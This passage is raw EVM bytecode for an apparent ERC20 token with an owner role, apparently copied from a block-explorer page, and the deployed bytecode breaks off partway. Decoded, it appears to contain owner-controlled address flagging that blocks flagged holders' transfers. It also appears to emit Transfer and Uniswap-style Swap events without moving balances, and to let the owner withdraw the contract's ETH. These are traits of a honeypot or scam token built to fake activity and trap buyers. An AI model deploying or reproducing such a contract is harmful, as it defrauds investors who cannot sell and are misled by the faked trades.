c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040691906200081d565b60405180910390a362000422600083836200042b60201b60201c565b5050565b505050565b505050565b8280546200043e9062000869565b90600052602060002090601f016020900481019282620004625760008555620004ae565b82601f106200047d57805160ff1916838001178555620004ae565b82800160010185558215620004ae579182015b82811115620004ad57825182559160200191906001019062000490565b5b509050620004bd9190620004c1565b5090565b5b80821115620004dc576000816000905550600101620004c2565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200056e57808604811115620005465762000545620004e0565b5b6001851615620005565780820291505b808102905062000566856200050f565b945062000526565b94509492505050565b6000826200058957600190506200065c565b816200059957600090506200065c565b8160018114620005b25760028114620005bd57620005f3565b60019150506200065c565b60ff841115620005d257620005d1620004e0565b5b8360020a915084821115620005ec57620005eb620004e0565b5b506200065c565b5060208310610133831016604e8410600b84101617156200062d5782820a905083811115620006275762000626620004e0565b5b6200065c565b6200063c84848460016200051c565b92509050818404811115620006565762000655620004e0565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006878262000663565b915062000694836200066d565b9250620006c37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000577565b905092915050565b6000620006d88262000663565b9150620006e58362000663565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007215762000720620004e0565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000775601f836200072c565b915062000782826200073d565b602082019050919050565b60006020820190508181036000830152620007a88162000766565b9050919050565b6000620007bc8262000663565b9150620007c98362000663565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620008015762000800620004e0565b5b828201905092915050565b620008178162000663565b82525050565b60006020820190506200083460008301846200080c565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200088257607f821691505b602082108114156200089957620008986200083a565b5b50919050565b6123d480620008af6000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b60405161016791906117a4565b60405180910390f35b61018a60048036038101906101859190611864565b6104ee565b60405161019791906118bf565b60405180910390f35b6101a8610511565b6040516101b591906118e9565b60405180910390f35b6101d860048036038101906101d39190611904565b61051b565b6040516101e591906118bf565b60405180910390f35b6101f661054a565b6040516102039190611973565b60405180910390f35b6102266004803603810190610221919061198e565b610553565b005b610242600480360381019061023d9190611864565b61059f565b60405161024f91906118bf565b60405180910390f35b610272600480360381019061026d919061198e565b6105d6565b60405161027f91906118bf565b60405180910390f35b6102a2600480360381019061029d919061198e565b61062c565b6040516102af91906118e9565b60405180910390f35b6102d260048036038101906102cd9190611a76565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b2a565b61077f565b005b610314600480360381019061030f9190611b77565b610909565b005b61031e610a95565b60405161032b9190611bfa565b60405180910390f35b61033c610abe565b60405161034991906117a4565b60405180910390f35b61036c60048036038101906103679190611b77565b610b50565b005b61038860048036038101906103839190611864565b610cdb565b60405161039591906118bf565b60405180910390f35b6103b860048036038101906103b39190611864565b610d52565b6040516103c591906118bf565b60405180910390f35b6103e860048036038101906103e39190611904565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c15565b610e30565b60405161041b91906118e9565b60405180910390f35b61043e60048036038101906104399190611b2a565b610eb7565b005b61045a6004803603810190610455919061198e565b610f64565b005b60606006805461046b90611c84565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c84565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe8565b9050610506818585610ff0565b600191505092915050565b6000600454905090565b600080610526610fe8565b90506105338582856111bb565b61053e858585611247565b60019150509392505050565b60006012905090565b61055b6115bf565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe8565b90506105cb8185856105bc8589610e30565b6105c69190611ce5565b610ff0565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d3b565b5b90506020020160208101906106ab919061198e565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d3b565b5b90506020020160208101906106e9919061198e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d3b565b5b9050602002013560405161074791906118e9565b60405180910390a3808061075a90611d6a565b915050610678565b50505050505050565b6107736115bf565b61077d600061163d565b565b6107876115bf565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d3b565b5b90506020020160208101906107c3919061198e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d3b565b5b9050602002016020810190610875919061198e565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d3b565b5b90506020020160208101906108d7919061198e565b61062c565b6040516108e991906118e9565b60405180910390a380806108fc90611d6a565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d3b565b5b905060200201602081019061093f919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611df8565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d3b565b5b9050602002016020810190610a2e919061198e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118e9565b60405180910390a38080610a8690611d6a565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c84565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c84565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d3b565b5b9050602002016020810190610b86919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e3d565b60405180910390a3848482818110610c2657610c25611d3b565b5b9050602002016020810190610c3b919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118e9565b60405180910390a38080610ccc90611d6a565b915050610b53565b5050505050565b600080610ce6610fe8565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611ef4565b60405180910390fd5b610d468286868403610ff0565b60019250505092915050565b600080610d5d610fe8565b9050610d6a818585611247565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118e9565b60405180910390a3505050565b610de76115bf565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115bf565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d3b565b5b9050602002016020810190610efb919061198e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d6a565b915050610ec2565b505050565b610f6c6115bf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd390611f86565b60405180910390fd5b610fe58161163d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611060576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105790612018565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c7906120aa565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ae91906118e9565b60405180910390a3505050565b60006111c78484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112415781811015611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122a90612116565b60405180910390fd5b6112408484848403610ff0565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ae906121a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e9061223a565b60405180910390fd5b611332838383611701565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b0906122cc565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061145a5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b65760011515600560009054906101000a900460ff161515146114b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ac90612312565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115a691906118e9565b60405180910390a36115b9848484611706565b50505050565b6115c7610fe8565b73ffffffffffffffffffffffffffffffffffffffff166115e5610a95565b73ffffffffffffffffffffffffffffffffffffffff161461163b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116329061237e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561174557808201518184015260208101905061172a565b83811115611754576000848401525b50505050565b6000601f19601f8301169050919050565b60006117768261170b565b6117808185611716565b9350611790818560208601611727565b6117998161175a565b840191505092915050565b600060208201905081810360008301526117be818461176b565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117fb826117d0565b9050919050565b61180b816117f0565b811461181657600080fd5b50565b60008135905061182881611802565b92915050565b6000819050919050565b6118418161182e565b811461184c57600080fd5b50565b60008135905061185e81611838565b92915050565b6000806040838503121561187b5761187a6117c6565b5b600061188985828601611819565b925050602061189a8582860161184f565b9150509250929050565b60008115159050919050565b6118b9816118a4565b82525050565b60006020820190506118d460008301846118b0565b92915050565b6118e38161182e565b82525050565b60006020820190506118fe60008301846118da565b92915050565b60008060006060848603121561191d5761191c6117c6565b5b600061192b86828701611819565b935050602061193c86828701611819565b925050604061194d8682870161184f565b9150509250925092565b600060ff82169050919050565b61196d81611957565b82525050565b60006020820190506119886000830184611964565b92915050565b6000602082840312156119a4576119a36117c6565b5b60006119b284828501611819565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119e0576119df6119bb565b5b8235905067ffffffffffffffff8111156119fd576119fc6119c0565b5b602083019150836020820283011115611a1957611a186119c5565b5b9250929050565b60008083601f840112611a3657611a356119bb565b5b8235905067ffffffffffffffff811115611a5357611a526119c0565b5b602083019150836020820283011115611a6f57611a6e6119c5565b5b9250929050565b60008060008060008060608789031215611a9357611a926117c6565b5b600087013567ffffffffffffffff811115611ab157611ab06117cb565b5b611abd89828a016119ca565b9650965050602087013567ffffffffffffffff811115611ae057611adf6117cb565b5b611aec89828a016119ca565b9450945050604087013567ffffffffffffffff811115611b0f57611b0e6117cb565b5b611b1b89828a01611a20565b92509250509295509295509295565b60008060208385031215611b4157611b406117c6565b5b600083013567ffffffffffffffff811115611b5f57611b5e6117cb565b5b611b6b858286016119ca565b92509250509250929050565b60008060008060608587031215611b9157611b906117c6565b5b600085013567ffffffffffffffff811115611baf57611bae6117cb565b5b611bbb878288016119ca565b94509450506020611bce8782880161184f565b9250506040611bdf8782880161184f565b91505092959194509250565b611bf4816117f0565b82525050565b6000602082019050611c0f6000830184611beb565b92915050565b60008060408385031215611c2c57611c2b6117c6565b5b6000611c3a85828601611819565b9250506020611c4b85828601611819565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c9c57607f821691505b60208210811415611cb057611caf611c55565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cf08261182e565b9150611cfb8361182e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d3057611d2f611cb6565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d758261182e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611da857611da7611cb6565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000611de2611ddd611dd884611db3565b611dbd565b61182e565b9050919050565b611df281611dc7565b82525050565b6000608082019050611e0d6000830187611de9565b611e1a60208301866118da565b611e2760408301856118da565b611e346060830184611de9565b95945050505050565b6000608082019050611e5260008301876118da565b611e5f6020830186611de9565b611e6c6040830185611de9565b611e7960608301846118da565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611ede602583611716565b9150611ee982611e82565b604082019050919050565b60006020820190508181036000830152611f0d81611ed1565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f70602683611716565b9150611f7b82611f14565b604082019050919050565b60006020820190508181036000830152611f9f81611f63565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612002602483611716565b915061200d82611fa6565b604082019050919050565b6000602082019050818103600083015261203181611ff5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612094602283611716565b915061209f82612038565b604082019050919050565b600060208201905081810360008301526120c381612087565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612100601d83611716565b915061210b826120ca565b602082019050919050565b6000602082019050818103600083015261212f816120f3565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612192602583611716565b915061219d82612136565b604082019050919050565b600060208201905081810360008301526121c181612185565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612224602383611716565b915061222f826121c8565b604082019050919050565b6000602082019050818103600083015261225381612217565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122b6602683611716565b91506122c18261225a565b604082019050919050565b600060208201905081810360008301526122e5816122a9565b9050919050565b50565b60006122fc600083611716565b9150612307826122ec565b600082019050919050565b6000602082019050818103600083015261232b816122ef565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612368602083611716565b915061237382612332565b602082019050919050565b600060208201905081810360008301526123978161235b565b905091905056fea264697066735822122055faeac86381b848662519efc5e6a855957f51fd47b0c37d8fbc23460b27253264736f6c634300080c0033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806377a1736b116100c3578063a9059cbb1161007c578063a9059cbb1461039e578063beabacc8146103ce578063c78052c6146103ea578063dd62ed3e146103f4578063e6bd3c0d14610424578063f2fde38b146104405761014d565b806377a1736b146102de5780637aac697b146102fa5780638da5cb5b1461031657806395d89b4114610334578063a1c617f514610352578063a457c2d71461036e5761014d565b806338bf3cfa1161011557806338bf3cfa1461020c57806339509351146102285780634551a9de1461025857806370a08231146102885780637111a994146102b8578063715018a6146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a61045c565b60405161016791906117a4565b60405180910390f35b61018a60048036038101906101859190611864565b6104ee565b60405161019791906118bf565b60405180910390f35b6101a8610511565b6040516101b591906118e9565b60405180910390f35b6101d860048036038101906101d39190611904565b61051b565b6040516101e591906118bf565b60405180910390f35b6101f661054a565b6040516102039190611973565b60405180910390f35b6102266004803603810190610221919061198e565b610553565b005b610242600480360381019061023d9190611864565b61059f565b60405161024f91906118bf565b60405180910390f35b610272600480360381019061026d919061198e565b6105d6565b60405161027f91906118bf565b60405180910390f35b6102a2600480360381019061029d919061198e565b61062c565b6040516102af91906118e9565b60405180910390f35b6102d260048036038101906102cd9190611a76565b610675565b005b6102dc61076b565b005b6102f860048036038101906102f39190611b2a565b61077f565b005b610314600480360381019061030f9190611b77565b610909565b005b61031e610a95565b60405161032b9190611bfa565b60405180910390f35b61033c610abe565b60405161034991906117a4565b60405180910390f35b61036c60048036038101906103679190611b77565b610b50565b005b61038860048036038101906103839190611864565b610cdb565b60405161039591906118bf565b60405180910390f35b6103b860048036038101906103b39190611864565b610d52565b6040516103c591906118bf565b60405180910390f35b6103e860048036038101906103e39190611904565b610d75565b005b6103f2610ddf565b005b61040e60048036038101906104099190611c15565b610e30565b60405161041b91906118e9565b60405180910390f35b61043e60048036038101906104399190611b2a565b610eb7565b005b61045a6004803603810190610455919061198e565b610f64565b005b60606006805461046b90611c84565b80601f016020809104026020016040519081016040528092919081815260200182805461049790611c84565b80156104e45780601f106104b9576101008083540402835291602001916104e4565b820191906000526020600020905b8154815290600101906020018083116104c757829003601f168201915b5050505050905090565b6000806104f9610fe8565b9050610506818585610ff0565b600191505092915050565b6000600454905090565b600080610526610fe8565b90506105338582856111bb565b61053e858585611247565b60019150509392505050565b60006012905090565b61055b6115bf565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806105aa610fe8565b90506105cb8185856105bc8589610e30565b6105c69190611ce5565b610ff0565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b868690508110156107625784848281811061069657610695611d3b565b5b90506020020160208101906106ab919061198e565b73ffffffffffffffffffffffffffffffffffffffff168787838181106106d4576106d3611d3b565b5b90506020020160208101906106e9919061198e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061073357610732611d3b565b5b9050602002013560405161074791906118e9565b60405180910390a3808061075a90611d6a565b915050610678565b50505050505050565b6107736115bf565b61077d600061163d565b565b6107876115bf565b60005b82829050811015610904576001600260008585858181106107ae576107ad611d3b565b5b90506020020160208101906107c3919061198e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106108605761085f611d3b565b5b9050602002016020810190610875919061198e565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256108dc8686868181106108c2576108c1611d3b565b5b90506020020160208101906108d7919061198e565b61062c565b6040516108e991906118e9565b60405180910390a380806108fc90611d6a565b91505061078a565b505050565b60005b84849050811015610a8e5784848281811061092a57610929611d3b565b5b905060200201602081019061093f919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516109c59493929190611df8565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610a1957610a18611d3b565b5b9050602002016020810190610a2e919061198e565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a7391906118e9565b60405180910390a38080610a8690611d6a565b91505061090c565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610acd90611c84565b80601f0160208091040260200160405190810160405280929190818152602001828054610af990611c84565b8015610b465780601f10610b1b57610100808354040283529160200191610b46565b820191906000526020600020905b815481529060010190602001808311610b2957829003601f168201915b5050505050905090565b60005b84849050811015610cd457848482818110610b7157610b70611d3b565b5b9050602002016020810190610b86919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610c0b9493929190611e3d565b60405180910390a3848482818110610c2657610c25611d3b565b5b9050602002016020810190610c3b919061198e565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cb991906118e9565b60405180910390a38080610ccc90611d6a565b915050610b53565b5050505050565b600080610ce6610fe8565b90506000610cf48286610e30565b905083811015610d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3090611ef4565b60405180910390fd5b610d468286868403610ff0565b60019250505092915050565b600080610d5d610fe8565b9050610d6a818585611247565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dd291906118e9565b60405180910390a3505050565b610de76115bf565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e2d573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ebf6115bf565b60005b82829050811015610f5f57600060026000858585818110610ee657610ee5611d3b565b5b9050602002016020810190610efb919061198e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f5790611d6a565b915050610ec2565b505050565b610f6c6115bf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd390611f86565b60405180910390fd5b610fe58161163d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611060576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105790612018565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c7906120aa565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111ae91906118e9565b60405180910390a3505050565b60006111c78484610e30565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112415781811015611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122a90612116565b60405180910390fd5b6112408484848403610ff0565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ae906121a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e9061223a565b60405180910390fd5b611332838383611701565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b0906122cc565b60405180910390fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061145a5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114b65760011515600560009054906101000a900460ff161515146114b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ac90612312565b60405180910390fd5b5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115a691906118e9565b60405180910390a36115b9848484611706565b50505050565b6115c7610fe8565b73ffffffffffffffffffffffffffffffffffffffff166115e5610a95565b73ffffffffffffffffffffffffffffffffffffffff161461163b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116329061237e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561174557808201518184015260208101905061172a565b83811115611754576000848401525b50505050565b6000601f19601f8301169050919050565b60006117768261170b565b6117808185611716565b9350611790818560208601611727565b6117998161175a565b840191505092915050565b600060208201905081810360008301526117be818461176b565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050